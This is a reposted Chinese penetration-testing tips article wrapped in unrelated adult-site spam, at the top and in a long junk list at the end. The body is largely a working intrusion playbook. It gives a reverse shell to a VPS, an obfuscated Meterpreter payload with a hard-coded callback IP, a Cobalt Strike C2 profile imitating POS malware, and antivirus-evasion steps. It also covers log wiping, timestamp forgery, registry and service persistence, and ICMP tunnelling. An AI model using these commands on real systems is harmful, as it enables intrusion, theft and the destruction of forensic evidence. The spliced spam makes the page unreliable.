色哟哟视频在线观看-色哟哟视频在线-色哟哟欧美15最新在线-色哟哟免费在线观看-国产l精品国产亚洲区在线观看-国产l精品国产亚洲区久久

0
  • 聊天消息
  • 系統消息
  • 評論與回復
登錄后你可以
  • 下載海量資料
  • 學習在線課程
  • 觀看技術視頻
  • 寫文章/發帖/加入社區
會員中心
創作中心

完善資料讓更多小伙伴認識你,還能領取20積分哦,立即完善>

3天內不再提示

個人滲透技巧匯總

jf_hKIAo4na ? 來源:菜鳥學安全 ? 2023-05-26 15:13 ? 次閱讀

前言

首先我們拿到一個站不能心急,凡事三思而行 跑得太快是會滑倒的 當我們獲得目標的時候不要急著用掃描器,這樣會不僅會影響服務器的速度還會在對方的服務器日志生成大量的記錄,什么站能掃什么站不能掃,心里一定要有點b數,不然可能等待的就是不一樣的結果了。 如果手工測試無果后再用代理手法掃描網站,必要的時候設置二級代理。 當然!?。?!什么站能掃什么站不能掃,心里一定要有點數! 小提示:在使用proxychains的時候,程序或者終端選項盡量不要設置任何協議的代理,否則可能會打亂這個代理回路出現網絡錯誤。

9ddd933e-fafa-11ed-90ce-dac502259ad0.png

淺藍的滲透測試導圖以及小工具

一個導圖,可以做一個大致的方向參考,跟著方向逐一測試,期間也可以鞏固基礎。https://github.com/iSafeBlue/Mind-Map/releases

9de88f32-fafa-11ed-90ce-dac502259ad0.png

這里再附一個滲透工具包,幫助新手熟悉滲透測試//github.com/lz520520/railgun AWVS + Nessus docker

# 拉取鏡像
  docker pull leishianquan/awvs-nessus:v1
  # 啟動
  docker run -it -d -p 13443:3443 -p 8834:8834 leishianquan/awvs-nessus:v1
  # 查看容器
  docker ps –a
  # 啟動容器
  docker start container-id
  # 進入容器
  docker exec –it container-id /bin/bash


  # 進入容器后,啟動nessus
  /etc/init.d/nessusd start


  # 訪問掃描器地址和賬號密碼
  Nessus:
  https://127.0.0.1:8834/#/
  account:leishi/leishianquan


  Awvs13:
  https://127.0.0.1:13443/
  account:admin@admin.com/Admin123

ZERO

首先進行信息收集你獲得的信息越多對自己后面的滲透就越有幫助,whois,旁站子域,服務器操作系統版本,web中間件以及waf與cdn,通過google與github看看是否存在已知的漏洞這樣有助于快速的獲得權限, 端口掃描并判斷服務漏洞加以利用,目錄的fuzz,弱口令的fuzz,google hack 進一步探測網站的信息后臺以及敏感信息,撒旦天眼也是不錯的信息工具。

一.時刻關注返回的數據包

漏洞有很多種類型都需要滲透方認證仔細的對每個數據包已經url進行驗證,要相信所有的努力都是為成功而付出的。 如XSS,XSRF,sql注入,代碼執行,命令執行,越權訪問,目錄讀取,任意文件讀取,下載,文件包含,遠程命令執行,弱口令,上傳,編輯器漏洞,暴力破解等

驗證碼與郵箱以及token的返回泄露,以及后臺為校驗從而可刪除的參數。
截獲的敏感數據參數,學會在多個數據包反復嘗試。
從某個成功請求中捕獲數據包觀察cookie或者token是否存在規律或加密。
通過修改返回的狀態值,觸發js進行邏輯漏洞的滲透。
token的key參數解密構建獲取真實user密鑰,可拼接、規律、時間戳……

下面是網絡上的滲透三字訣

進谷歌  找注入
沒注入  就旁注
沒旁注  用0day
沒0day  猜目錄
沒目錄  就嗅探
爆賬戶  找后臺
傳小馬  放大馬
拿權限  掛頁面
放暗鏈  清數據
滲透企業實戰版
搞企業  先掃描
掃描器  商業好
默密碼  都知道
社工庫  找一找
郵箱號  先列好
九頭蛇  跑一跑
搞不定  放大招
找插件  挖一挖
發郵件  憑偽造
沒郵箱  搞網站
二級域  皆可爆
老漏洞  沒修好
新漏洞  刷一票
干研發  Git 找
源代碼  全都要
C D N  可以跳
防火墻  可以撬
堡壘機  可以秒
云防護  可以秒
是企業  沒有哪家搞不了!

二.FUZZ的藝術 https://www.freebuf.com/vuls/221129.html

三.WEBBYPASS

linux反彈 shell:

1)VPS 上生成 ssl 證書的公鑰/私鑰對:
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
2)VPS 監聽反彈 shell:
openssl s_server -quiet -key key.pem -cert cert.pem -port 80
3)目標上回連 shell:
mkfifo /tmp/s; /bin/bash -i < /tmp/s 2>&1 | openssl s_client -quiet -connect :1024 > /tmp/s; rm /tmp/s


VPS 上已獲取加密的 getshell 了。
winodws桌面:TeamViewerQS單文件 windows下載文件;certutil -urlcache -split -f https://raw.githubusercontent.com/backlion/demo/master/CVE-2017-11882-v1.py test.py 腳本反彈內網:reGeorg(https://github.com/sensepost/reGeorg) 1.將 tunnel腳本(aspx | ashx | jsp | php)上傳到Web服務器,訪問顯示“Georg says, ‘All seems fine’“,表示腳本運行正常。2.在攻擊者機器上,啟動reGeorgSocksProxy.py,監聽9999 端口,看到 Checking if Georg is ready,確認正常運行,這個時候就可以吧目標機作為跳板了。 waf:中國蟻劍客戶端,冰蝎與內存馬,反復嘗試使用編碼字節繞過

四.提權與權限維持

首先通過檢查目標服務器的進程與可利用服務以及漏洞ssl加密payload

###生成證書并寫入文件
openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 -keyout rsaprivate.key -out servercertificate.crt


cat  rsaprivate.key servercertificate.crt >my.pem
###生成payload
msfvenom -p windows/meterpreter/reverse_winhttps LHOST=39.97.167.211 LPORT=6667 --platform windows -a x86 HandLerSSLCert= ./my.pem StagerVerifySSLCert=true -s 42 --smallest -e x86/shikata_ga_nai -i 9 -f raw| msfvenom --platform windows -a x86 -e x86/countdown -i 8 -f raw | msfvenom --platform windows -a x86 -e x86/call4_dword_xor -i 6 -b "x00x0ax0d" -f raw > /home/xskali/kali/Shecodject/output/shellcode.raw


###監聽
msfconsole -q -x 'use exploit/multi/handler;set ExitOnSession false;set PAYLOAD windows/meterpreter/reverse_winhttps;set LHOST 192.168.129.128; set LPORT 4445; set HandlerSslCert /home/xskali/kali/Shecodject/output/my.pem;set StagerVerifySSLCert true; set SessionCommunicationTimeout 600 ;set autorunscript post/windows/manage/migrate; run -j -Z'

老牌工具Cobaltstrike+Profiles

上云和隱藏流量參考free教程(https://www.freebuf.com/articles/network/262445.html) 1.利用keytool生成自己的免費證書(可在kali上生成)

keytool -genkey -alias tryblog -keyalg RSA -validity 36500 -keystore tryblog.store
2.C2.profile文件編輯
set sample_name "tryblog POS Malware";


set sleeptime "5000"; # use a ~30s delay between callbacks
set jitter    "10";    # throw in a 10% jitter


set useragent "Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101 Firefox/24.0";


#設置證書,注意以下內容得和你之前生成的證書一樣
https-certificate {
    set CN       "TRY"; 
    set O        "TRY";   
    set C        "TRY";
    set L        "TRY";
    set OU       "TRY";  
    set ST       "TRY";
    set validity "365";
}
#設置,修改成你的證書名稱和證書密碼
code-signer{
    set keystore "tryblog.store";
    set password "tryblog";
    set alias "tryblog";
}


#指定DNS beacon不用的時候指定到IP地址
set dns_idle "8.8.4.4";


#每個單獨DNS請求前強制睡眠時間
set dns_sleep "0";


#通過DNS上載數據時主機名的最大長度[0-255]
set maxdns    "235";


http-post {
    set uri "/windebug/updcheck.php /aircanada/dark.php /aero2/fly.php /windowsxp/updcheck.php /hello/flash.php";


    client {
        header "Accept" "text/plain";
        header "Accept-Language" "en-us";
        header "Accept-Encoding" "text/plain";
        header "Content-Type" "application/x-www-form-urltrytryd";


        id {
            netbios;
            parameter "id";
        }


        output {
            base64;
            prepend "&op=1&id=vxeykS&ui=Josh @ PC&wv=11&gr=backoff&bv=1.55&data=";
            print;
        }
    }


    server {
        output {
            print;
        }
    }
}


http-get {
    set uri "/updates";


    client {
        metadata {
            netbiosu;
            prepend "user=";
            header "Cookie";
        }
    }


    server {
        header "Content-Type" "text/plain";


        output {
            base64;
            print;
        }
    }
}
3.驗證c2lint,啟動服務端,載入漢化運行
./c2lint C2.profile
./teamserver ip:prot ./C2.profile 
java-Dfile.encoding=UTF-8-javaagent:CobaltStrikeCN.jar-XX:ParallelGCThreads=4-XX:+AggressiveHeap-XX:+UseParallelGC-jarcobaltstrike.jar

免殺遠控整理(來自Tide團隊)

9df296e4-fafa-11ed-90ce-dac502259ad0.jpg

項目地址//github.com/QChiLan/BypassAntiVirus

windows下的免殺生成(順序從上到下依次混淆)

如果需要捆綁正常軟件運行使用shellter,如不能過免殺,再分步測試以下操作。 cs文件編碼混淆用AVIATOR生成。測試可以再用python再當前目錄打開一個web服務器:

python3 -m http.server 8080
1.Lime-Crypter 注入線程
2.DeepSeaOBFuscator 封裝
3.CryptoObfuscator 混淆
4.https 證書修改
5.base64prionx 混淆
6.themida 加殼
7.https 證書修改
8.viper(在線msf處理平臺可加特征和簽名很方便) *通用免殺法(簡單概括就是1.修改特征碼2.花指令免殺3.加殼免殺。)

9dfa486c-fafa-11ed-90ce-dac502259ad0.png

也可以通過把軟件分塊用殺軟重復掃描找到特征碼進行修改,當然也可以通過加載器的形式更加靠譜但是需要落地多個文件,c#文件自己封裝推薦avator+掩蓋日可以過火絨

Veil

Veil是一種免殺生成工具,用于生成繞過常見防病毒解決方案的metasploit有效負載。

一些payload加料的技巧

1、通過ssl與加殼加密palyoad(免殺)2、通過dns或套cdn傳輸:https://mp.weixin.qq.com/s/fdGnJxDjh1Orb2V76EX8tQ

windows

Exploit批量掃描:Windows-Exploit-Suggester漏洞模塊:https://github.com/SecWiki/windows-kernel-exploitsBITS免殺提權:https://github.com/ohpe/juicy-potato

linux

搜尋配置文件中的明文密碼、sudo濫用Exploit批量掃描:linux-exploit-suggester、linux-exploit-suggester-2漏洞模塊:https://github.com/SecWiki/linux-kernel-exploits

五、日志清理(細心的安全工程師會更改位置并定時備份后滲透主要還是靠細心)

windows

遇見不能刪除的先停止相關服務:net stop “task scheduler”系統日志推薦使用工具:clearlog.exemsf清理:clearev ,run event_manager -c

防火墻日志路徑:%systemroot%system32logfiles
IIS日志路徑:%systemroot%system32logfles
windows系統日志:%systemroot%system32config
Scheduler服務日志:%systemroot%schedlgu.txt
日志在注冊表的鍵:HKEY_LOCAL_MACHINEsystemCurrentControlSetServicesEventlog
系統日志:%SystemRoot%System32WinevtLogsSystem.evtx
安全日志:%SystemRoot%System32WinevtLogsSecurity.evtx
應用程序日志:%SystemRoot%System32WinevtLogsApplication.evtx
linux(檢索根目錄以及上級目錄是否存在備份) 1.清空當前用戶歷史命令并刪除相關文件:
history -c


echo “”> /root/.bash_history


echo “”> /var/run/utmp
2.清除部分日志:echo “”> /var/log/secure;全刪除如不能刪除使用echo依次覆蓋:rm -f -r /var/log/*;
/var/log/boot.log:錄了系統在引導過程中發生的事件,就是Linux系統開機自檢過程顯示的信息


/var/log/lastlog :記錄最后一次用戶成功登陸的時間、登陸IP等信息


/var/log/messages :記錄Linux操作系統常見的系統和服務錯誤信息


/var/log/secure :Linux系統安全日志,記錄用戶和工作組變壞情況、用戶登陸認證情況


/var/log/btmp :記錄Linux登陸失敗的用戶、時間以及遠程IP地址


/var/log/syslog:只記錄警告信息,常常是系統出問題的信息,使用lastlog查看


/var/log/wtmp:該日志文件永久記錄每個用戶登錄、注銷及系統的啟動、停機的事件,使用last命令查看


/var/log/maillog 與郵件相關的日志信息


/var/log/cron 與定時任務相關的日志信息


/var/log/spooler 與UUCP和news設備相關的日志信息


/var/log/auth.log 系統授權信息,包括用戶登錄和使用的權限機制等 (debian)


/var/run/utmp:該日志文件記錄有關當前登錄的每個用戶的信息。如who、w、users、finger等就需要訪問這個文件
3.更新test.txt的時間和test2.txt時間戳相同:touch -r test.txt test2.txt;設定時間戳:touch -t 201605171210.20 test.txt

web容器路徑

數據庫通過查詢配置文件定位日志(如mysql的配置文件文件my.inf,tomcat的配置文件tomcat-user.xml) winodws

capche: C:Program FilesApache Software FoundationApache2.2htdocs"
tomact:CProgram Filestomcatlog
nignx: CProgram Filesnginx-1.14.2logs
linux
tomcat:/usr/local/tomcat/logs/
apche: /usr/local/apache/logs/access_log
nignx:/var/log/httpd/error_logrm-f-r/var/log/*
七、后滲透與流量隱匿

frsocks+protoplex+流量重定向實現端口復用

protoplex是一個協議復用的工具,比如以下命令可將本地9999端口的流量根據協議類型轉到本地的2333和80端口。用于繞過云主機的nsg安全規則。

./frsocks -sockstype fsocks -listen 2333  //創建本地監聽
./protoplex --socks5 192.168.154.130:2333 --http 127.0.0.1:80 -b 192.168.154.130:9999  //端口分流,根據協議類型轉到本地的2333和80端口
重定向命令 linux:
sudo iptables -t nat -A PREROUTING -p tcp -m tcp --dport 80 -j REDIRECT --to-ports 9999
windows:
netsh interface portproxy add v4tov4 listenport=80 listen address=192.168.154.129 connectport=9999 connectaddress=192.168.154.129
netsh interface portproxy show all //查看轉發規則
netsh interface portproxy reset   //清除所有轉發規則

將 IP 流量封裝進 IMCP 的 ping 數據包進行傳輸

工具如下 1、icmptunnel:https://github.com/jamesbarlow/icmptunnel 2、ptunnel:http://www.cs.uit.no/~daniels/PingTunnel/ 3、icmpsh:https://github.com/inquisb/icmpsh 4、Powershell-ICMP:https://github.com/api0cradle/Powershell-ICMP 5、復雜的網絡環境可以使用EarchWorm(ew)實現多級代理訪問目標主機

后滲透

ps:合理利用后滲透插件可以剩下很多時間,但是要注意痕跡清理。插件有謝公子和梼杌完整版比較常用,Cobaltstrike推薦插件:謝公子、梼杌、Z1-AggressorScripts、ladong

9e038b66-fafa-11ed-90ce-dac502259ad0.png

9e0b37da-fafa-11ed-90ce-dac502259ad0.png

詳情參考這個:https://blog.csdn.net/qq_33020901/article/details/98357659 添加開機自啟

reg add HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun /v "Keyname" /t REG_SZ /d "C:UsersKingXL1.exe" /f 


reg add HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun /v "test" /t REG_SZ /d "C:UsersKingXL1.exe" /f
sc create "server power" binpath= "C:WindowsSystem32config.exe"
//設置服務的描述字符串
sc description "server power" "description" 
//設置這個服務為自動啟動
sc config "server power" start= auto 
net start "server power" 啟動服務

八、 一個便捷的HACK瀏覽器(上火狐開發者版本也不錯)

這里個人做一個備份有需求的自行google,解釋一下英文的插件功能。

9e1535aa-fafa-11ed-90ce-dac502259ad0.png

9e1cb366-fafa-11ed-90ce-dac502259ad0.png9e252bfe-fafa-11ed-90ce-dac502259ad0.png Ajax Interceptor:可以自定義ajax的json返回值,前端測試用。 Anti-HoneyPot:紅隊用,可以檢查網頁中的蜜罐鏈接并提示。 ApiRequest.io Ajax Capture Debugging Tool:這個是神器??!強推,可以測試網頁中任何的ajax請求包括跨站ajax請求重放,官網提供了只30天的請求歷史記錄記得保存重要請求。 Decentraleyes:可以攔截一些cdn和本地的文件跟蹤器 APK Downloader for Google Play Store :免google框架在線下載應用商店的app。 Buster Captcha Solver for Humans:過goole驗證碼,有時候識別會比較慢。 Easy WebRTC Block:干掉webrtc的ip回顯,避免泄露真實ip IP Whois & Flags Chrome & Websites Rating:自動在后臺測試當前網站ip的歸屬地然后以小圖標的形式返回給前臺非常便捷,點擊進去還可以看到cdn以及whois信息。 NoScript: 慎用,此插件可以強力的攔截網頁上的追蹤器來保護用戶的隱私與真實信息,但是會造成許多網站打開異常。 Identify web technologies :可以幫你分析當前網站所使用的網絡技術與框架。 Shodan:網絡搜索引擎同fofa與鐘馗之眼,互聯網設備大殺器 Picture-in-Picture Extension:畫中畫懸浮窗口看視頻 SourceDetector:可以再后臺默默的掃描是否有源代碼泄露 HackTools:方便懶人使用點擊擴展可快速復制sql,xss,反彈shell。 FindSomething :基于瀏覽器插件的被動式信息提取工具

審核編輯:彭靜
聲明:本文內容及配圖由入駐作者撰寫或者入駐合作網站授權轉載。文章觀點僅代表作者本人,不代表電子發燒友網立場。文章及其配圖僅供工程師學習之用,如有內容侵權或者其他違規問題,請聯系本站處理。 舉報投訴
  • 服務器
    +關注

    關注

    12

    文章

    9129

    瀏覽量

    85344
  • 程序
    +關注

    關注

    117

    文章

    3785

    瀏覽量

    81008
  • 掃描器
    +關注

    關注

    0

    文章

    164

    瀏覽量

    11908

原文標題:干貨 | 個人滲透技巧匯總(避坑)筆記

文章出處:【微信號:菜鳥學安全,微信公眾號:菜鳥學安全】歡迎添加關注!文章轉載請注明出處。

收藏 人收藏

    評論

    相關推薦

    LABVIEW資料匯總

    將最近所收集到的好東西刪減匯總。。對個人學習很有用處
    發表于 07-16 15:37

    【原創首發】跟我一起學Linux滲透-BT5實戰【二】

    【原創首發】跟我一起學Linux滲透-BT5實戰【二】我們接著上一個內容繼續學習,一、BT5VMtools的安裝(實現虛擬機和主機共用剪切板等)二、中文包的安裝(實現漢化)三、最近正在看的一本書:BackTrack 4 利用滲透測試保證系統安全下載:http://yunp
    發表于 09-08 00:29

    靜態滲透除濕和動態除濕方式的區別

    `靜態滲透標準除濕和動態高速除濕機型的特點常溫自動干燥產品的除濕速度,除了間隙式除濕慢于連續除濕之外,間隙式除濕的產品 按結構不同還分為靜態滲透除濕和動態高速除濕兩種。靜態除濕機型,是傳統的標準型
    發表于 09-29 11:12

    基于labview的混凝土滲透性監測系統

    基于labview的混凝土滲透性監測系統(1)8個測試通道,精確測量通過混凝土試件的電流(±1%),并實時顯示測試電流值;(2)自動檢測測試溶液的溫度,實時顯示溫度值;(3)實時的計算電通量,保存實驗數據; (4)自動得出混凝土氯離子滲透性指標,顯示和輸出測量結果。
    發表于 05-29 00:12

    SMT焊點的染色與品牌焊錫絲滲透試驗

    `SMT焊點的染色與品牌焊錫絲滲透試驗隨著SMT技術與一些品牌焊錫絲及元器件高密封裝技術的迅速發展,很多品牌焊錫絲隱藏的焊點缺陷很難用直觀的方法發現,焊點的質量與可靠性的檢測試驗技術必須適應這種快速
    發表于 05-03 17:46

    個人的學習資料匯總

    本帖最后由 nyjingle 于 2020-8-11 10:09 編輯 【個人的學習資料匯總貼】MYMINIEYE:60天FPGA工程師入門就業項目實戰特訓營(視頻+開發板)http
    發表于 08-07 11:16

    物聯網滲透擴圍

    物聯網進階:連接力強化和NB-IoT應用滲透
    發表于 01-25 06:28

    web滲透的測試流程

      滲透測試是什么?網絡安全學習中,web滲透的測試流程是怎樣的?后滲透的詳細步驟解析如何?  滲透測試就是利用我們所掌握的滲透知識,對網站
    發表于 01-29 17:27

    渦流的形成范圍和滲透深度與哪些因素有關呢?

      渦流是由于金屬導體中存在的自感電動勢產生的環流。渦流的形成范圍和滲透深度取決于多個因素:  1.導體的電導率:電導率越高,渦流的形成范圍越小,滲透深度越淺?! ?.導體的尺寸和形狀:尺寸越小
    發表于 03-13 17:38

    新能源汽車滲透率將迎來增長拐點 整個行業將進入淘汰賽

    近期,小鵬汽車總裁顧宏地在一場論壇上表示,新能源汽車的滲透率有望在未來兩到三年內達到 10%,迎來行業爆發性增長的拐點。目前,新能源汽車的滲透率只有 5%,他從個人電腦、智能手機等行業的發展經驗判斷,一般新技術沖擊傳統產品,
    發表于 11-19 16:01 ?647次閱讀

    WEB滲透與IOT滲透的區別分析與IOT滲透測試功能特點

    幾維安全IOT滲透測試是一項基于STRIDE模型對功能業務進行威脅發現的安全檢測服務。通過對智能終端應用系統的架構設計分析著手,然后對其架構設計中的業務功能實現進行威脅分析,得到業務可能面臨的威脅點
    的頭像 發表于 08-05 11:36 ?3487次閱讀

    白盒滲透測試的優勢是什么

    滲透測試是一項重要的進攻性安全演習或操作。如果執行得當,它會極大地提高您組織的安全性。滲透測試分為三種類型,根據滲透測試人員或道德黑客可獲得的信息量分類,其中一種是白盒滲透測試。 什么
    的頭像 發表于 09-19 10:04 ?1221次閱讀

    滲透測試和邊緣

    滲透測試和邊緣
    的頭像 發表于 01-03 09:45 ?604次閱讀
    <b class='flag-5'>滲透</b>測試和邊緣

    個人滲透技巧匯總(避坑)筆記

    當我們獲得目標的時候不要急著用掃描器,這樣會不僅會影響服務器的速度還會在對方的服務器日志生成大量的記錄,什么站能掃什么站不能掃,心里一定要有點b數,不然可能等待的就是不一樣的結果了。
    的頭像 發表于 03-30 09:35 ?1626次閱讀

    什么是滲透作用_金屬封裝又是如何發生滲透

    ? 滲透作用使得芯片封裝中沒有絕對的氣密性封裝,那么什么是滲透作用?金屬封裝又是如何發生滲透的呢??? 滲透:氣體從密度大的一側向密度小的一側滲入、擴散、通過、和逸出固體阻擋層的過程。
    的頭像 發表于 11-22 10:27 ?238次閱讀
    主站蜘蛛池模板: 成3d漫二区三区四区| caoporn 在线视频| CHINSEFUCKGAY无套| 国产成年网站v片在线观看| 黄色一级毛片免费| 欧美激情视频一区| 亚洲 欧美 国产 伦 综合 | 日日噜噜夜夜狠狠视频| 亚洲AVAV天堂AV在线网爱情| 中文字幕亚洲第一| 国产成人免费a在线视频app| 久久精品视频3| 三级网址在线播放| 在线播放毛片| 国产成人综合在线观看| 久久最新地址获取| 特黄AAAAAAA片免费视频| 中文字幕高清在线中文字幕| 国产99视频在线观看| 久久亚洲高清观看| 国产午夜精品片一区二区三区| 日本粉嫩学生毛绒绒| 99久久99久久精品| 久久人妻无码毛片A片麻豆| 亚洲粉嫩美白在线| 国产国拍亚洲精品av麻豆| 青青青草国产| 91精品免费久久久久久久久| 久久99精品视频| 亚洲男女羞羞无遮挡久久丫| 国产成人久久精品激情| 色综合伊人色综合网站| 99热久久这里只有精品| 麻豆乱码一卡二卡三卡视频| 一本色道久久综合亚洲精品加| 国模沟沟一区二区三区| 午夜成a人片在线观看| 国产精品久久婷婷五月色 | hdxxxx58丝袜连裤袜| 久久精品热99看二| 亚洲国产中文字幕新在线|